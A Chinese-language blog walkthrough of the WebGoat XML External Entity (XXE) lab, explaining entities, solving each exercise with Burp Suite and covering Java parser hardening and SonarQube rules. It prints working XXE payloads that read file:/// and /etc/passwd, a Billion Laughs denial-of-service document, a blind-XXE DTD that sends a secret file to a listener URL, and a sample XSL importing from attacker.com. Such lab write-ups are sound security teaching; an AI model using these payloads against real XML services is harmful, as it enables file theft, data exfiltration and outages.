devbox
IT小白
这个屌丝很懒，什么也没留下！
关注作者
热门标签
热门文章
当前位置:   article > 正文

webgoat- XML External Entity-XXE-XML实体注入_webgoat xxe

作者：IT小白 | 2024-06-06 18:37:51

赞

踩

webgoat xxe

01 -XML实体注入

概念
本课程介绍如何执行 XML 外部实体攻击以及如何滥用和防范该攻击。

目标
用户应该具备 XML 的基本知识

用户将了解 XML 解析器的工作原理

用户将学习如何执行 XXE 攻击以及如何防范它。

02 XML 实体？

XML 实体允许定义标签，在解析 XML 文档时这些标签将被内容替换。一般来说，实体分为三种类型：

内部实体

外部实体

参数实体。

必须在文档类型定义（DTD）中创建实体
在这里插入图片描述
一旦 XML 文档被解析器处理，它将js用定义的常量“Jo Smith”替换定义的实体。正如您所看到的，这有很多优点，因为您可以js在一个地方更改为例如“John Smith”。

在 Java 应用程序中，XML 可用于从客户端获取数据到服务器，我们都熟悉 JSON api，我们也可以使用 xml 来获取信息。大多数时候框架会根据xml结构自动填充Java对象，例如：
在这里插入图片描述

什么是 XXE 注入？

XML 外部实体攻击是针对解析 XML 输入的应用程序的一种攻击。当包含对外部实体的引用的 XML 输入由配置较弱的 XML 解析器处理时，就会发生此攻击。这种攻击可能会导致机密数据泄露、拒绝服务、服务器端请求伪造、从解析器所在机器的角度进行端口扫描以及其他系统影响。

攻击可能包括使用 file: 方案或系统标识符中的相对路径来泄露本地文件，其中可能包含密码或私人用户数据等敏感数据。由于攻击发生与处理 XML 文档的应用程序相关，因此攻击者可能会使用此受信任的应用程序转向其他内部系统，可能通过 http(s) 请求泄露其他内部内容，或对任何未受保护的内部服务发起 CSRF 攻击。在某些情况下，容易受到客户端内存损坏问题影响的 XML 处理器库可能会通过取消引用恶意 URI 来被利用，从而可能允许在应用程序帐户下执行任意代码。其他攻击可以访问可能不会停止返回数据的本地资源，如果未释放太多线程或进程，则可能会影响应用程序可用性。

一般来说，我们可以区分以下几种XXE攻击：

经典：在这种情况下，外部实体包含在本地 DTD 中

盲目：响应中不显示任何输出和/或错误

错误：尝试获取错误消息中的资源内容

03 XXE示例

XXE 示例

让我们看一个 XXE 注入的示例，在上一节中我们看到 XML 实体可以按如下方式使用：

<?xml version="1.0" standalone="yes" ?>
<!DOCTYPE author [
  <!ELEMENT author (#PCDATA)>
  <!ENTITY js "Jo Smith">
]>
<author>&js;</author>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

外部 DTD 声明

定义这些实体还可以在外部文件中定义另一个 DTD，例如：（也可以在文件中定义DTD，并引入）

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "email.dtd">
<email>
  <to>webgoat@webgoat.org</to>
  <from>webwolf@webwolf.org</from>
  <subject>Your app is great, but contains flaws</subject>
  <body>Hi, your application contains some SQL injections</body>
</email>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

可以email.dtd定义如下：

<!ELEMENT email (to,from,title,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT subject (#PCDATA)>
<!ELEMENT body (#PCDATA)>

  • 1
  • 2
  • 3
  • 4
  • 5

XXE

如果 XML 解析器配置为允许外部 DTD 或实体，我们可以使用以下内容更改以下 XML 片段：

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE author [
  <!ENTITY js SYSTEM "file:///etc/passwd">
]>
<author>&js;</author>

  • 1
  • 2
  • 3
  • 4
  • 5

现在会发生什么？我们从本地文件系统定义了一个包含，XML 解析器将加载该文件并在引用实体的任何位置添加内容。假设 XML 消息返回给用户，该消息将是：
在这里插入图片描述

外部的文档类型定义 (DOCTYPE) 是您始终可以添加到 xml 文档中的内容，如果启用解析器设置以允许处理外部实体，那么您就为查找 XXE 注入提供了良好的开端。

04

目标：列出文件系统根目录下文件。
在这里插入图片描述
提供了一个输入评论的功能，打开burpsuite，打开自带浏览器，访问并打开该页，进行评论。
在这里插入图片描述

发现该提交评论请求的负载用的是xml格式数据，text中的文本会直接显示在评论区。
在这里插入图片描述
burpsuite中右键发送reperter，构造注入的XML，修改body为如下，再次发送请求，会提示已通关。

<?xml version="1.0" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><comment><text>&root;</text></comment>

  • 1

在这里插入图片描述
在评论区可以看到显示了路径下的文件，说明注入成功。（windows下会输出目录）
在这里插入图片描述
在这里插入图片描述

构造XML如下，可以在评论区显示/etc/passwd文件内容。 这个适用于linux部署webgoat。

<?xml version="1.0" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///etc/passwd"> ]><comment><text>&root;</text></comment>

  • 1

在这里插入图片描述

06通过代码审计查找 XXE

现在我们知道了注入是如何工作的，让我们看看为什么会发生这种情况。在 Java 应用程序中，XML 库配置默认情况下并不安全，您必须更改设置。假设您在代码审查期间发现以下代码片段：

public XmlMapper xmlMapper() {
  return new XmlMapper(XMLInputFactory.newInstance()) 
}

  • 1
  • 2
  • 3

在查看 Jackson 库的发行说明时，您会读到：
除非XMLInputFactory明确重写，否则 禁用SUPPORT_DTD
— Jackson 2.7.8（2016 年 9 月 26 日）

问题：解析器容易受到攻击吗？

这段代码定义了一个新的XmlMapper( ObjectMapper)，它是一个流行的读写xml和json的框架。如果我们更深入地跟踪代码，我们会发现：

在这里插入图片描述

这是我们从上面的列表中调用的“构造函数”(1)
调用另一个“构造函数”并初始化一个新实例XmlFactory
我们先看一下源码XMLFactory

在这里插入图片描述

1 这是 3 中创建的新实例的“构造函数”定义
2 调用 3 中定义的另一个“构造函数”
在 4 中，我们知道if (xmlIn == null)这不是真的，因为如果我们查看顶部的声明，我们创建了自己的实例，但事实XMLInputFactory.newInstance()并非为null。这意味着我们有一个 XML 解析器，默认情况下无法防止 XXE 注入。第 5 和第 6 处有趣的部分是嵌套在 if 语句内的额外保护。

如果我们看一下 Spring Boot 框架，例如它们如何初始化相同的解析器：

在这里插入图片描述
https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html

调用安全初始化解析器的方法
XMLInputFactory正如您所看到的，通过私有方法显式定义，xmlInputFactory()该方法实际上为解析器设置了与我们在前面的清单中看到的相同的属性。

正如您所看到的，要查明解析器是否能够安全地防止注入并不那么容易，您确实必须深入研究代码和库来找出解析器设置是什么。

查看XXE 预防表，了解保护解析器的更多方法。https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html

07 Modern REST framework

In modern REST frameworks the server might be able to accept data formats that you as a developer did not think about. So this might result in JSON endpoints being vulnerable to XXE attacks.
在REST框架下，即使使用json提交数据的请求，也可以使用XML提交，可能导致XXE。

Again same exercise but try to perform the same XML injection as we did in the first assignment.
在这里插入图片描述

如图接口，body为json格式，但是如果修改为xml格式呢？
在burpsuite里，将修改Content-Type: application/xml

body修改为 This is my first message ，发现可以请求成功
在这里插入图片描述
在这里插入图片描述
构造xml

<!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><comment><text>&root;This is my first message</text></comment>

  • 1

在这里插入图片描述
可以看到，评论也显示了根目录的文件，说明XML注入成功。
在这里插入图片描述
查看源码
在这里插入图片描述
当content-type为application/json时，直接失败，为application/xml时，使用xml进行解析，检查comment.getText()中是否包含对应操作系统下的系统文件，如果执行XXE成功，则返回的目录会包含对应文件名，则成功。
在这里插入图片描述
总结:restful风格框架，也可以使用XML提交数据，可能存在XXE攻击。

09 XXE DOS attack

With the same XXE attack we can perform a DOS service attack towards the server. An example of such an attack is:

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

When XML parser loads this document, it sees that it includes one root element, “lolz”, that contains the text “&lol9;”. However, “&lol9;” is a defined entity that expands to a string containing ten “&lol8;” strings. Each “&lol8;” string is a defined entity that expands to ten “&lol7;” strings, and so on. After all the entity expansions have been processed, this small (< 1 KB) block of XML will actually take up almost 3 gigabytes of memory.

This is called a “Billion laughs”, more information can be found here: https://en.wikipedia.org/wiki/Billion_laughs

10盲注XEE

在某些情况下，您将看不到任何输出，因为尽管您的攻击可能奏效，但该字段并未反映在页面的输出中。 或者您尝试读取的资源包含非法的 XML 字符，这会导致解析器失败。 让我们从一个例子开始，在本例中，我们引用一个外部 DTD，我们在自己的服务器上控制它。

作为攻击者，您控制了 WebWolf（这可以是您控制下的任何服务器），例如，您可以使用此服务器通过以下命令对它执行 ping 操作http://10.100.33.188:9090/home

我们如何使用这个端点来验证我们是否可以执行 XXE？

我们可以再次使用 WebWolf 来托管一个名为 的文件，创建包含以下内容的文件：attack.dtd

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY ping SYSTEM '<a href="http://10.100.33.188:9090/landing" target="_blank" rel="noopener"><a href="http://10.100.33.188:9090/landing" class="bare">http://10.100.33.188:9090/landing</a></a>'>

  • 1
  • 2

现在提交表单，将 xml 更改为：

<?xml version="1.0"?>

%remote;
]>

test&ping;

现在在 WebWolf 中浏览到“传入请求”，您将看到：

{
“method” : “GET”,
“path” : “/landing”,
“headers” : {
“request” : {
“user-agent” : “Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0”,
},
},
“parameters” : {
“test” : [ “HelloWorld” ],
},
“timeTaken” : “1”
}
因此，使用 XXE，我们能够 ping 我们自己的服务器，这意味着 XXE 注入是可能的。因此，通过 XXE 注入，我们基本上能够达到与开始时使用 curl 命令相同的效果。

Blind XXE assignment

https://zhuanlan.zhihu.com/p/69056318
在这里插入图片描述
题目要求把webgoat的这个密码文件上传到webwolf。可以使用webwolf上传DTD。
源码

  @PostMapping(path = "xxe/blind", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE)
  @ResponseBody
  public AttackResult addComment(@RequestBody String commentStr) {
    var fileContentsForUser = userToFileContents.getOrDefault(getWebSession().getUser(), "");

    // Solution is posted by the user as a separate comment
    if (commentStr.contains(fileContentsForUser)) {
      return success(this).build();
    }

    try {
      Comment comment = comments.parseXml(commentStr);
      if (fileContentsForUser.contains(comment.getText())) {
        comment.setText("Nice try, you need to send the file to WebWolf");
      }
      comments.addComment(comment, false);
    } catch (Exception e) {
      return failed(this).output(e.toString()).build();
    }
    return failed(this).build();
  }

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21

这里是windows版本的源码，有问题，只有文件内容被直接提交为commentStr，commentStr与文件内容对比，包含则通过，
显然是不对的。应该进行解析。
所以先修改下源码，将解析后包含内容的结果改为success。
在这里插入图片描述
偷懒做法，直接用xml中带file地址请求，则可以通过，因为这样直接请求了file中的文件内容，返回结果与文件内容一致。
在这里插入图片描述
题目想要的做法：

a.dtd脚本，上传至wolf，获得一个该文件的url地址。

<!ENTITY % file SYSTEM "file:///C:/Users/Administrator/.webgoat-2023.5-SNAPSHOT/XXE/yangyali/secret.txt">
<!ENTITY % a  "<!ENTITY attack SYSTEM 'http://127.0.0.1:9090/landing?text=%file;'>">
%a;

  • 1
  • 2
  • 3

xml请求 xxe/blind接口，完成。

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % remote SYSTEM "http://127.0.0.1:9090/files/yangyali/f.dtd">
%remote;
]>
<comment><text>&attack;</text></comment>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

原理是，在外部dtd文件中，使用file变量去获取文件内容，然后使用attack实体，获取这个text。使得解析后的comment text为文件内容。

在这里插入图片描述这个题的坑处在于，源码是错误的。且不熟悉XML，导致做起来难。

12 如何防护XML注入？

设置XML解析器禁用DTD

为了防止 XXE 攻击，您需要确保验证从不受信任的客户端接收的输入。在 Java 世界中，您还可以指示解析器完全忽略 DTD，例如：

XMLInputFactory xif = XMLInputFactory.newFactory();
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);

  • 1
  • 2

设置XML解析器禁用外部实体

如果无法完全关闭 DTD 支持，还可以指示 XML 分析器忽略外部实体，例如：

XMLInputFactory xif = XMLInputFactory.newFactory();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);

  • 1
  • 2
  • 3

有关配置的详细信息，请参阅 XXE 防护表https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html

对http头中content-type及accept进行验证

对 Content-type 和 Accept 标头实现适当的验证，不要简单地依赖框架来处理传入请求。如果客户端指定了正确的接受标头，则返回“406/Not Acceptable”。如果body是json格式，则不接受其他格式的body。

过滤提交数据中的<!DOCTPE和<!ENTITY>

13 通过静态代码分析查找 XXE 问题

静态代码分析可以帮助识别代码中的漏洞。一个众所周知的静态代码分析工具是 SonarQube。当您对 WebGoat 的源代码运行代码扫描时，您将得到如下结果：

Sonar OWASP issues
如果选择 XXE 类别，它将显示 XXE 漏洞的位置。
在这里插入图片描述
如下是我扫描的结果
在这里插入图片描述

XXE issue in Comments class
下一步是确定这是真正的问题还是误报。正如您从挑战练习中已经知道的那样，这是一个真正的问题。在这种情况下，它是故意放入的。

SonarQube 还向您展示了您可以采取哪些措施来解决此问题。就是把给的两个属性设置为空。
在这里插入图片描述
当设置属性限制，再次请求第4题，可见提示无法读取外部文档。
在这里插入图片描述

XXE suggested fix
如果您单击下面的按钮，您可以尝试再次进行 XXE 挑战，您会注意到漏洞已得到缓解。

参考：https://blog.csdn.net/hee_mee/article/details/106751066

sonar 中的XML规则

XML 解析应该避免XXE漏洞
XML允许是用内部或者外部实体（通过文件系统或者网络），可能会导致信息泄露或者SSRF。

如下XML，定义了外部实体读取 /etc/passwd file

<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <to>&xxe;</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:
在这个XSL文档中，允许网络访问可能导致SSRF问题。

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl">
  <xsl:import href="http://www.attacker.com/evil.xsl"/>
  <xsl:include href="http://www.attacker.com/evil.xsl"/>
 <xsl:template match="/">
  &content;
 </xsl:template>
</xsl:stylesheet>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

It is recommended to disable access to external entities and network access in general.
建议禁止使用外部实体和网络访问

To protect Java XML Parsers from XXE attacks these properties have been defined since JAXP 1.5:
为了保护java xml解析避免XXE攻击，在JAXP1.5后有如下属性。
ACCESS_EXTERNAL_DTD: should be set to “” when processing XML/XSD/XLS files (it looks for external DOCTYPEs)
ACCESS_EXTERNAL_SCHEMA: should be set to “” when processing XML/XSD/XLS files (it looks for external schemalocation ect)
ACCESS_EXTERNAL_STYLESHEET should be set to “” when processing XLS file (it looks for external imports, includes ect);

Note that Apache Xerces is still based on JAXP 1.4, therefore one solution is to set to false the external-general-entities feature.

Avoid FEATURE_SECURE_PROCESSING feature to protect from XXE attacks because depending on the implementation:

it has no effect to protect the parser from XXE attacks but helps guard against excessive memory consumption from XML processing.
or it’s just an obscur shortcut (it could set ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA to “” but without guarantee).
When setting an entity resolver to null (eg: setEntityResolver(null)) the parser will use its own resolution, which is unsafe.

不合规方案

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = df.newDocumentBuilder();  // Noncompliant
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

  • 1
  • 2
  • 3
  • 4
  • 5

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();  // Noncompliant
parser.parse(xml, handler);

  • 1
  • 2
  • 3
  • 4
  • 5

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();  // Noncompliant
XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

  • 1
  • 2

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();  // Noncompliant
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);  // Noncompliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

  • 1
  • 2
  • 3
  • 4
  • 5

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator validator = schema.newValidator();   // Noncompliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

Dom4j library:

SAXReader xmlReader = new SAXReader(); // Noncompliant by default
Document xmlResponse = xmlReader.read(xml);

  • 1
  • 2

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Noncompliant by default
Document document = builder.build(new File(xml));

  • 1
  • 2

合规方案

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
DocumentBuilder builder = df.newDocumentBuilder();
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
parser.parse(xml, handler);

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");  // compliant

XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

  • 1
  • 2
  • 3
  • 4
  • 5

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // Compliant
// ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementations
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
// validators will also inherit of these properties
Validator validator = schema.newValidator();

validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");   // Compliant
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");   // Compliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));
For dom4j library, ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA are not supported, thus a very strict fix is to disable doctype declarations:

SAXReader xmlReader = new SAXReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // Compliant
Document xmlResponse = xmlReader.read(xml);

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
Document document = builder.build(new File(xml));

  • 1
  • 2
  • 3
  • 4

See
OWASP Top 10 2017 Category A4 - XML External Entities (XXE) https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)
OWASP XXE Prevention Cheat Sheet https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#java
MITRE, CWE-611 - Information Exposure Through XML External Entity Reference
MITRE, CWE-827 - Improper Control of Document Type Definition

本文内容由网友自发贡献，转载请注明出处：【wpsshop博客】
推荐阅读
相关标签

Copyright © 2003-2013 www.wpsshop.cn 版权所有，并保留所有权利。

  

闽ICP备14008679号